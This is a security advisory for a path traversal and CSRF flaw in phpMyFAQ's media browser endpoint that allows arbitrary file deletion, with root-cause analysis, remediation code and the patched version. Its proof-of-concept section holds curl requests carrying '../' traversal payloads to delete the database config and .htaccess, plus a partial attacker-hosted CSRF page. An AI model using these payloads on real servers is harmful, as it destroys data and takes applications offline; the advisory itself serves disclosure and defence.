Fluid Attacks Database

Description

phpMyFAQ: Path Traversal - Arbitrary File Deletion in MediaBrowserController

Summary

The MediaBrowserController::index() method handles file deletion for the media browser. When the fileRemove action is triggered, the user-supplied name parameter is concatenated with the base upload directory path without any path traversal validation. The FILTER_SANITIZE_SPECIAL_CHARS filter only encodes HTML special characters (&, ', ", <, >) and characters with ASCII value < 32, and does not prevent directory traversal sequences like ../. Additionally, the endpoint does not validate CSRF tokens, making it exploitable via CSRF attacks.

Details

Affected File: phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/MediaBrowserController.php

Lines 43-66:

#[Route(path: 'media-browser', name: 'admin.api.media.browser', methods: ['GET'])]
public function index(Request $request): JsonResponse|Response
{
    $this->userHasPermission(PermissionType::FAQ_EDIT);
    // ...
    $data = json_decode($request->getContent());
    $action = Filter::filterVar($data->action, FILTER_SANITIZE_SPECIAL_CHARS);
...

Root Causes:

No path traversal prevention: FILTER_SANITIZE_SPECIAL_CHARS does not remove or encode ../ sequences. It only encodes HTML special characters.

No CSRF protection: The endpoint does not call Token::verifyToken(). Compare with ImageController::upload() which validates CSRF tokens at line 48.

No basename() or realpath() validation: The code does not use basename() to strip directory components or realpath() to verify the resolved path stays within the intended directory.

HTTP method mismatch: The route is defined as methods: ['GET'] but reads the request body via $request->getContent(). This bypasses typical GET-only CSRF protections that rely on same-origin checks for GET requests.

Comparison with secure implementation in the same codebase:

The ImageController::upload() method (same directory) properly validates file names:

if (preg_match("/([^\w\s\d\-_~,;:\[\]\(\).])|([\.]{2,})/", (string) $file->getClientOriginalName())) {
    // Rejects files with path traversal sequences
}

The FilesystemStorage::normalizePath() method also properly validates paths:

foreach ($segments as $segment) {
    if ($segment === '..' || $segment === '') {
        throw new StorageException('Invalid storage path.');
    }
}

PoC

Direct exploitation (requires authenticated admin session):

# Delete the database configuration file
curl -X GET 'https://target.example.com/admin/api/media-browser' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: PHPSESSID=valid_admin_session' \
  -d '{"action":"fileRemove","name":"../../../content/core/config/database.php"}'

# Delete the .htaccess file to disable Apache security rules
curl -X GET 'https://target.example.com/admin/api/media-browser' \...

CSRF exploitation (attacker hosts this HTML page):

<html>
<body>
<script>
fetch('https://target.example.com/admin/api/media-browser', {
  method: 'GET',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({
    action: 'fileRemove',...

When an authenticated admin visits the attacker's page, the database configuration file (database.php) is deleted, effectively taking down the application.

Impact

Server compromise: Deleting content/core/config/database.php causes total application failure (database connection loss).

Security bypass: Deleting .htaccess or web.config can expose sensitive directories and files.

Data loss: Arbitrary file deletion on the server filesystem.

Chained attacks: Deleting log files to cover tracks, or deleting security configuration files to weaken other protections.

Remediation

Add path traversal validation:

if ($action === 'fileRemove') {
    $file = basename(Filter::filterVar($data->name, FILTER_SANITIZE_SPECIAL_CHARS));
    $targetPath = realpath(PMF_CONTENT_DIR . '/user/images/' . $file);
    $allowedDir = realpath(PMF_CONTENT_DIR . '/user/images');

    if ($targetPath === false || !str_starts_with($targetPath, $allowedDir . DIRECTORY_SEPARATOR)) {
        return $this->json(['error' => 'Invalid file path'], Response::HTTP_BAD_REQUEST);
    }...

Add CSRF protection:

if (!Token::getInstance($this->session)->verifyToken('pmf-csrf-token', $request->query->get('csrf'))) {
    return $this->json(['error' => 'Invalid CSRF token'], Response::HTTP_UNAUTHORIZED);
}

Change HTTP method to POST or DELETE to align with proper HTTP semantics.

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem	Package	Affected version	Patched versions
packagist	phpmyfaq/phpmyfaq	>=0 <4.1.1	4.1.1

Aliases

1. CVE-2026-347282. NVD-2026-347283. OSV-2026-347284. GHSA-38m8-xrfj-v38x5. GCVE-2026-34728

References

1. https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-38m8-xrfj-v38x2. https://github.com/thorsten/phpMyFAQ/releases/tag/4.1.1